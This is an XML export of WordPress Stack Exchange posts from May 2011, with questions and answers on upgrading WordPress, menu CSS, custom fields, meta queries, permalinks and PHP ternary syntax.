  <row Id="17549" PostTypeId="2" ParentId="17541" CreationDate="2011-05-18T05:44:41.757" Score="4" ViewCount="" Body="&lt;p&gt;Yes, I would say you should upgrade to WP 3.1 instead of importing content in WP 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like Ian said, you should do an incremental upgrade. I have seen the upgrade working from 2.2.1 to 3.1 directly (&lt;a href=&quot;https://twitter.com/#!/roytanck/status/58139475536121856&quot; rel=&quot;nofollow&quot;&gt;Check this tweet&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But lets say you should download and over write 2.3 files over your installation. BRowse in your dashboard, it will ask you to upgrade database, do so.&#xA;Then finally overwrite 3.1 files and again upgrade database when you are asked in the dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and make sure you do a backup before doing anything else, so you can revert back to this state if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Disable all your plugins before attempting to upgrade. Its very likely to create issues in your case. You don't want to be stuck in between. And I can't stress enough, backup before you do anything.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-05-18T19:15:50.290" LastActivityDate="2011-05-18T19:15:50.290" />
  <row Id="17550" PostTypeId="1" CreationDate="2011-05-18T05:56:44.467" Score="0" ViewCount="65" Body="&lt;p&gt;I'm thinking on launching a new theme shop for a specific niche. Not the for blog. But as a CMS. Is it worth it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for reading this.&lt;/p&gt;&#xA;" OwnerUserId="1993" LastActivityDate="2011-05-18T07:48:03.070" ClosedDate="2011-05-18T15:20:42.603" Title="Does WordPress theme business is relevant in 2011?" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="17551" PostTypeId="2" ParentId="17534" CreationDate="2011-05-18T06:03:02.553" Score="0" ViewCount="" Body="&lt;p&gt;If I understand what you want correctly, you can do this with CSS. You'll call wp_nav_menu normally and let it generate all of the links, but then you'll hide all of them except for the submenu of the current page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're CSS would look something like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#sidebar ul.menu li&#xA;{&#xA;    display: none;&#xA;}&#xA;&#xA;    #sidebar ul.menu li.current-page-parent,&#xA;    #sidebar ul.menu li.current-page-parent ul,&#xA;    #sidebar ul.menu li.current-page-parent ul.li&#xA;    {&#xA;        display: block;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: You can check out &lt;a href=&quot;http://thataboycreative.com&quot; rel=&quot;nofollow&quot;&gt;http://thataboycreative.com&lt;/a&gt; to see an example of where I've used this before. Here's the relevant CSS from that example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul.sub-menu&#xA;{&#xA;    display: none;&#xA;}&#xA;&#xA;    #menu-main-navigation &amp;gt; li.current-menu-item ul.sub-menu,&#xA;    #menu-main-navigation &amp;gt; li.current-menu-ancestor ul.sub-menu&#xA;    {&#xA;        display: block;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3898" LastEditorUserId="3898" LastEditorDisplayName="" LastEditDate="2011-05-18T15:44:21.300" LastActivityDate="2011-05-18T15:44:21.300" CommentCount="6" />
  <row Id="17552" PostTypeId="2" ParentId="17496" CreationDate="2011-05-18T06:04:11.147" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;   &amp;lt;?php&#xA;    $args = array( 'category' =&amp;gt; 7, 'post_type' =&amp;gt;  'post' ); &#xA;    $postslist = get_posts( $args );    &#xA;    foreach ($postslist as $post) :  setup_postdata($post); &#xA;    ?&amp;gt;  &#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt; &#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;  &#xA;    &amp;lt;?php endforeach; ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just change the category id (number 7)&#xA;and change the post_type that was in the plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to learn more about post_type, see link&#xA;&lt;a href=&quot;http://codex.wordpress.org/Custom_Post_Types&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Custom_Post_Types&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2210" LastActivityDate="2011-05-18T06:04:11.147" />
  <row Id="17554" PostTypeId="2" ParentId="17543" CreationDate="2011-05-18T06:16:04.397" Score="2" ViewCount="" Body="&lt;p&gt;If the theme does not implement &lt;code&gt;wp_footer()&lt;/code&gt; a lot of functionality that depends on it will break. For this reason, &lt;a href=&quot;http://codex.wordpress.org/Theme_Review#Template_Tags_and_Hooks&quot; rel=&quot;nofollow&quot;&gt;implementing &lt;code&gt;wp_footer()&lt;/code&gt; is required to get your theme accepted in the WP.org directory&lt;/a&gt;. So it is not unreasonable to break when &lt;code&gt;wp_footer()&lt;/code&gt; is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to add a notice in your FAQ that you require &lt;code&gt;wp_footer()&lt;/code&gt; in the theme. You can also add a check in your plugin admin page: checking for the existence of &lt;code&gt;wp_footer()&lt;/code&gt; can be as simple as loading a page with a special &lt;code&gt;$_GET&lt;/code&gt; variable in the background, which will trigger a hook that outputs some control code in &lt;code&gt;wp_footer&lt;/code&gt;, and reading the result to see whether this control code can be found.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-18T06:16:04.397" CommentCount="2" />
  <row Id="17555" PostTypeId="2" ParentId="17514" CreationDate="2011-05-18T07:20:01.043" Score="1" ViewCount="" Body="&lt;p&gt;the function &lt;code&gt;get_the_tags()&lt;/code&gt; does for a single post, what &lt;code&gt;get_tags()&lt;/code&gt; does for the site.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_tags&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_the_tags&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-18T07:20:01.043" />
  <row Id="17556" PostTypeId="2" ParentId="17550" CreationDate="2011-05-18T07:48:03.070" Score="1" ViewCount="" Body="&lt;p&gt;The majority of the sites/themes I build these days are more for the corporate, CMS style feature set. Targeting that market would be nice. A lot of existing theme sites cover everything, which makes it hard to find good themes.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2011-05-18T07:48:03.070" CommentCount="1" />
  <row Id="17557" PostTypeId="1" CreationDate="2011-05-18T08:32:34.903" Score="0" ViewCount="37" Body="&lt;p&gt;I'm using a function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;function widget_new_title($title) {&#xA;    echo word_limiter($title,20);&#xA;}&#xA;add_filter('widget_title','widget_new_title');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to limit the characters for widget title but my problem is that if I do this, the title is not wrapped in before_title and after_title as well as before_widget and after_widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Cip&lt;/p&gt;&#xA;" OwnerUserId="5340" LastActivityDate="2011-05-18T09:06:48.870" Title="Truncate Widget Title" Tags="&lt;widgets&gt;&lt;title&gt;" AnswerCount="1" />
  <row Id="17558" PostTypeId="1" AcceptedAnswerId="17559" CreationDate="2011-05-18T08:42:58.233" Score="2" ViewCount="34" Body="&lt;p&gt;We are looking into creating a solution that allows user to contribute media files by filling out a form (without access to the admin) and have it ןד created as a custom post type. &#xA;The files will be either YouTube Movies, PowerPoint Files etc.&#xA;Is that possible at all? Do you know any example of something similar?&lt;/p&gt;&#xA;" OwnerUserId="2591" LastActivityDate="2011-05-18T08:56:34.460" Title="user contributed content as custom post types" Tags="&lt;posts&gt;&lt;customization&gt;&lt;type&gt;" AnswerCount="1" />
  <row Id="17559" PostTypeId="2" ParentId="17558" CreationDate="2011-05-18T08:56:34.460" Score="2" ViewCount="" Body="&lt;p&gt;Yes, this is pretty easy using something like &lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-18T08:56:34.460" />
  <row Id="17560" PostTypeId="1" AcceptedAnswerId="18231" CreationDate="2011-05-18T09:02:34.987" Score="1" ViewCount="141" Body="&lt;p&gt;I want to show the projects that has had it's checkbox ticked as Branding, if it's on the Branding page (i.e the page title is Branding).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explain the code a bit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This line show's all the checkboxes that have been ticked for each project so it will output &quot;Branding&quot;, &quot;Web&quot;, &quot;Print&quot; if they have been ticked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;implode(', ',get_field('categories')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This next line is just checking the page title is &quot;Branding&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;implode(', ',get_field('categories')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to put these both in an if statement where it would just output the checked boxes and if they match the title then output them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(implode(', ',get_field('categories')) &amp;amp;&amp;amp; $grid_title == &quot;Branding&quot;); {&#xA;echo &quot;testing&quot;; &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above shows what I want to do but it doesn't quite work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IMPORTANT: I'm using &lt;a href=&quot;http://plugins.elliotcondon.com/advanced-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt; to create the custom checkboxes so please bear that in mind.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5415" LastEditorUserId="5415" LastEditorDisplayName="" LastEditDate="2011-05-19T09:32:56.850" LastActivityDate="2011-05-25T13:10:31.407" Title="Match checkbox data with page title to show certain items" Tags="&lt;php&gt;&lt;custom-field&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" />
  <row Id="17561" PostTypeId="2" ParentId="17557" CreationDate="2011-05-18T09:06:48.870" Score="1" ViewCount="" Body="&lt;p&gt;don't use &lt;code&gt;echo&lt;/code&gt; in filter functions - use &lt;code&gt;return&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function widget_new_title($title) { &#xA;return word_limiter($title,20); } &#xA;&#xA;add_filter('widget_title','widget_new_title');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-18T09:06:48.870" />
  <row Id="17562" PostTypeId="2" ParentId="17494" CreationDate="2011-05-18T09:27:38.410" Score="1" ViewCount="" Body="&lt;p&gt;This will show the checkboxes that have been ticked (much simpler!!):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    &amp;lt;?php&#xA;$categories = get_field('categories');&#xA;$elements = array();&#xA;foreach($categories as $category) {&#xA;    //do something&#xA;    $elements[] = '&amp;lt;a href=&quot;/tags/design/' . strtolower($category) . '&quot; title=&quot;' . $category . '&quot;&amp;gt;' . $category .'&amp;lt;/a&amp;gt;';&#xA;}&#xA;echo implode(',', $elements);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5415" LastEditorUserId="5415" LastEditorDisplayName="" LastEditDate="2011-05-19T08:02:23.310" LastActivityDate="2011-05-19T08:02:23.310" CommentCount="2" />
  <row Id="17563" PostTypeId="1" AcceptedAnswerId="17565" CreationDate="2011-05-18T09:50:59.967" Score="2" ViewCount="125" Body="&lt;p&gt;I'm completely open on how to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo implode(', ',get_field('categories'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is outputting this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Branding, Web, Print&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have 20 or so options it can output depending on what checkboxes were ticked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, what it's outputting is just plain text. How can I make each tag a link? The link would need to be unique per tag so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;tags/design/branding&quot;&amp;gt;Branding&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;tags/design/web&quot;&amp;gt;Web&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;tags/marketing/print&quot;&amp;gt;print&amp;lt;/a&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;The first part of the question is working thanks to Brady. I now have an additional question -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Brady's answer on the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$elements[] = '&amp;lt;a href=&quot;/tags/design/' . strtolower($category) . '&quot; title=&quot;' . $category . '&quot;&amp;gt;' . $category .'&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you look at the href it has the link /tags/design/, some of the tags it's outputting are using the correct link but some are from another section and the link should be /tags/marketing/. How can I account for this? (Not that I know how to do this, someone will need to show me!) Could I create an array with the tags &quot;Branding, Web, Print&quot; and if the $category variable matches this then give it the variable $design. Could I then create another array with &quot;Advertising, Analysis, Campaign&quot; and give it the variable $marketing if the $category matches that. Then in the link I could put href=&quot;/tags/$design/$category&quot; or href=&quot;/tags/$marketing/$category&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a couple of examples would be (I'll put them as normal links):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the design section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/tags/design/branding&quot;&amp;gt;Branding&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;/tags/design/web&quot;&amp;gt;Web&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;/tags/design/print&quot;&amp;gt;Print&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the marketing section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/tags/marketing/advertising&quot;&amp;gt;Advertising&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;/tags/marketing/analysis&quot;&amp;gt;Analysis&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;/tags/marketing/campaign&quot;&amp;gt;Campaign&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are only two sections design and marketing, within those sections there are several tags, if that makes sense. The sections in WP are setup like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tags &gt; design &gt; (each tag - branding, web, print is it's own page).&#xA;tags &gt; marketing &gt; (each tag - advertising, analysis, campaign is it's own page).&lt;/p&gt;&#xA;" OwnerUserId="5415" LastEditorUserId="5415" LastEditorDisplayName="" LastEditDate="2011-05-18T11:36:21.530" LastActivityDate="2011-05-18T11:36:21.530" Title="Convert imploded plain text into links" Tags="&lt;php&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="17564" PostTypeId="1" CreationDate="2011-05-18T10:11:20.617" Score="1" ViewCount="39" Body="&lt;p&gt;I want to know if there is a way to DECIMAL (5,2) instead of DECIMAL in meta_query&lt;/p&gt;&#xA;" OwnerUserId="4923" LastActivityDate="2011-05-18T10:50:01.477" Title="Custom query with DECIMAL(5,2)" Tags="&lt;3.1&gt;&lt;meta-query&gt;" AnswerCount="1" />
  <row Id="17565" PostTypeId="2" ParentId="17563" CreationDate="2011-05-18T10:20:01.253" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$categories = get_field('categories');&#xA;$elements = array();&#xA;foreach($categories as $category) {&#xA;    //do something&#xA;    $elements[] = '&amp;lt;a href=&quot;' . $url . '&quot; title=&quot;' . $title . '&quot;&amp;gt;' . $name .'&amp;lt;/a&amp;gt;';&#xA;}&#xA;echo implode(',', $elements);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at the &lt;code&gt;//do something&lt;/code&gt; here you should find what the URL should be for your category/tag&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_tag_link&quot; rel=&quot;nofollow&quot;&gt;get_tag_link()&lt;/a&gt; might be of use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also have you looked at using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_tags&quot; rel=&quot;nofollow&quot;&gt;the_tags()&lt;/a&gt; It does what your after and can be used in the loop.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-18T10:20:01.253" CommentCount="8" />
  <row Id="17566" PostTypeId="2" ParentId="17564" CreationDate="2011-05-18T10:24:27.350" Score="2" ViewCount="" Body="&lt;p&gt;Answer taken from here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14163/meta-query-using-between-with-floats-and-or-casting-to-decimal&quot;&gt;meta_query: using BETWEEN with floats and/or casting to DECIMAL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('get_meta_sql','cast_decimal_precision');&#xA;&#xA;function cast_decimal_precision( $array ) {&#xA;&#xA;    $array['where'] = str_replace('DECIMAL','DECIMAL(5,2)',$array['where']);&#xA;&#xA;    return $array;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-05-18T10:50:01.477" LastActivityDate="2011-05-18T10:50:01.477" CommentCount="3" />
  <row Id="17567" PostTypeId="2" ParentId="17496" CreationDate="2011-05-18T10:33:09.150" Score="1" ViewCount="" Body="&lt;p&gt;I have written an article &lt;a href=&quot;http://wpengineer.com/2031/how-to-list-all-posts-of-an-archive-a-category-or-a-search-result/&quot; rel=&quot;nofollow&quot;&gt;How To List All Posts Of An Archive …&lt;/a&gt; with the basic code for this very task.&lt;br&gt;&#xA;In short: set the parameter &lt;code&gt;'nopaging'&lt;/code&gt; for your query to &lt;code&gt;TRUE&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-18T10:33:09.150" />
  <row Id="17568" PostTypeId="2" ParentId="16747" CreationDate="2011-05-18T10:43:37.863" Score="1" ViewCount="" Body="&lt;p&gt;I ended up using a simple &quot;mailto&quot; link. Not sure this is the best approach for this question, but it seems to work. If someone knows a better solution (ideally plugin or code) please feel free to add it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-05-18T10:43:37.863" />
  <row Id="17569" PostTypeId="1" AcceptedAnswerId="17580" CreationDate="2011-05-18T10:49:02.193" Score="2" ViewCount="143" Body="&lt;p&gt;I have a custom post type whose permalink needs to sit in the same space as pages, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/an-example-thing  &amp;lt;--  custom post type 'thing'&#xA;/about-the-things  &amp;lt;--  a normal page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm well aware that &lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;this isn't the recommended way to do it&lt;/a&gt;, but I don't really have a choice - that's what the client has specified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created the custom types with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;register_post_type&lt;/a&gt;, and used the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-permalinks/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Permalinks&lt;/a&gt; plugin to set their permalink like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%thing%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this creates a conflict between the rule that recognises my custom posts, and the one for normal pages - which turns all normal pages into 404s. This problem disappears when the permalink is changed to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/things/%thing%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;a href=&quot;http://wordpress.org/extend/plugins/monkeyman-rewrite-analyzer/&quot; rel=&quot;nofollow&quot;&gt;Monkeyman Rewrite Analyser&lt;/a&gt; shows that the rule for the custom post is coming first. Even when I try forcing it to use verbose rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_rewrite;&#xA;$wp_rewrite-&amp;gt;use_verbose_page_rules = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the custom post type rule is higher priority than the verbose rules for pages so they still get a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like it to look for &lt;em&gt;things&lt;/em&gt; first, and when none is found with that name look for pages. The other way round would be acceptable. Is there no way of persuading it to look for both &lt;em&gt;things&lt;/em&gt; and pages before hitting a 404?&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2011-05-18T13:48:36.290" Title="Using /%postname% for a custom post type" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;url-rewriting&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17570" PostTypeId="2" ParentId="12369" CreationDate="2011-05-18T11:09:37.700" Score="0" ViewCount="" Body="&lt;p&gt;I got a bit confused with this one. At the end I've decided not to group the events by &lt;code&gt;event_location&lt;/code&gt; category and simplify the functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done instead is the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I detect what &lt;code&gt;event_type&lt;/code&gt; events to display by looking at a URL. Then I display all the events of that &lt;code&gt;event_type&lt;/code&gt; and order them by &lt;code&gt;event_date&lt;/code&gt; ASC - the ones that coming soon appear first. Here the URL is of format &lt;code&gt;/events?type=event_type&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I present a sidebar with all the &lt;code&gt;event_location&lt;/code&gt; category terms. A user can see all events in a specific location by clicking on the links. The URL in this case has the following format: &lt;code&gt;/events?location=event_location&lt;/code&gt;. Events of all types but for that specific location are displayed ordered ASC (the ones that coming soon appear first).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then in my custom query I include &lt;code&gt;'tax_query'&lt;/code&gt;. For example, for the &lt;code&gt;event_location&lt;/code&gt; taxonomy something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_query['tax_query'] = array('taxonomy' =&amp;gt; 'event_location',&#xA;                               'field' =&amp;gt; 'slug',&#xA;                               'terms' =&amp;gt; $_GET['location']&#xA;                              )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps someone.&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-05-18T11:09:37.700" />
  <row Id="17571" PostTypeId="1" CreationDate="2011-05-18T11:14:49.850" Score="0" ViewCount="38" Body="&lt;p&gt;Hi I am trying to use ternary operators with &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;WordPress condtionals&lt;/a&gt;, using the code below, but it's giving me a PHP error, what am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo is_home() : '1' ? '0';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5317" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-05-18T13:34:58.267" LastActivityDate="2011-05-18T14:47:23.447" Title="Trying to use Ternary operators with WP Conditionals" Tags="&lt;php&gt;&lt;conditional-content&gt;&lt;conditional-tags&gt;" AnswerCount="2" />
  <row Id="17572" PostTypeId="2" ParentId="13403" CreationDate="2011-05-18T11:19:05.867" Score="0" ViewCount="" Body="&lt;p&gt;I've created a new file, specified the encoding as &quot;UTF-8&quot; and retyped everything by hand - no copy/paste from the old file. Took a while, but all works now. It must have been some encoding errors playing up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone who helped: @t31os, @kaiser, @Chip Bennett&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-05-18T11:19:05.867" />
  <row Id="17573" PostTypeId="2" ParentId="17571" CreationDate="2011-05-18T11:25:23.880" Score="4" ViewCount="" Body="&lt;p&gt;Syntax is wrong you need to phrase it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;condition ? TRUE : FALSE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so change your code to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo is_home() ?  '1' : '0';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-18T11:25:23.880" CommentCount="2" />
  <row Id="17574" PostTypeId="2" ParentId="17512" CreationDate="2011-05-18T11:36:34.473" Score="0" ViewCount="" Body="&lt;p&gt;It's most likely some custom code that you already have running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try disabling all plugins. If that doesn't help, try switching to the default theme.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-05-18T11:36:34.473" />
  <row Id="17575" PostTypeId="2" ParentId="15317" CreationDate="2011-05-18T11:39:54.913" Score="0" ViewCount="" Body="&lt;p&gt;I ended up using the &lt;a href=&quot;http://wordpress.org/extend/plugins/ambrosite-nextprevious-post-link-plus/&quot; rel=&quot;nofollow&quot;&gt;Ambrosite Next/Previous Post Link Plus plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to an empty &lt;code&gt;event_date&lt;/code&gt; meta key - I have added some code to prevent a post from being saved if meta key value isn't correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at this posts:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/5007748/modifying-wordpress-post-status-on-publish&quot;&gt;Modifying Wordpress post status on Publish&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/15546/dont-publish-custom-post-type-post-if-a-meta-data-field-isnt-valid&quot;&gt;don't publish custom post type post if a meta data field isn't valid&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-05-18T11:39:54.913" />
  <row Id="17576" PostTypeId="2" ParentId="16524" CreationDate="2011-05-18T11:49:58.663" Score="0" ViewCount="" Body="&lt;p&gt;I came across the &lt;a href=&quot;http://wordpress.org/extend/plugins/my-category-order/&quot; rel=&quot;nofollow&quot;&gt;My Category Order&lt;/a&gt; plugin. However this is for the WP native categories and it adds 'My Category Order' link to the Posts menu where you can drag and drop categories in a required order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be changed (text search and replace) for a custom taxonomy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, would be nice to have a dedicated plugin for custom taxonomy terms reorder or know how to code it. I would be grateful for any tips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-05-18T11:49:58.663" />
  <row Id="17577" PostTypeId="1" CreationDate="2011-05-18T12:10:23.840" Score="1" ViewCount="43" Body="&lt;p&gt;Why does WordPress pre-download every image/icon/etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running my website through the tester at &lt;a href=&quot;http://tools.pingdom.com/&quot; rel=&quot;nofollow&quot;&gt;http://tools.pingdom.com/&lt;/a&gt;, I can see that it is downloading a bunch of icons and image files that definitely aren't even referenced in that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to disable this to improve page-load time?&lt;/p&gt;&#xA;" OwnerUserId="5472" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-18T23:11:38.223" LastActivityDate="2011-05-18T23:11:38.223" Title="Image Preloading" Tags="&lt;performance&gt;" AnswerCount="1" />
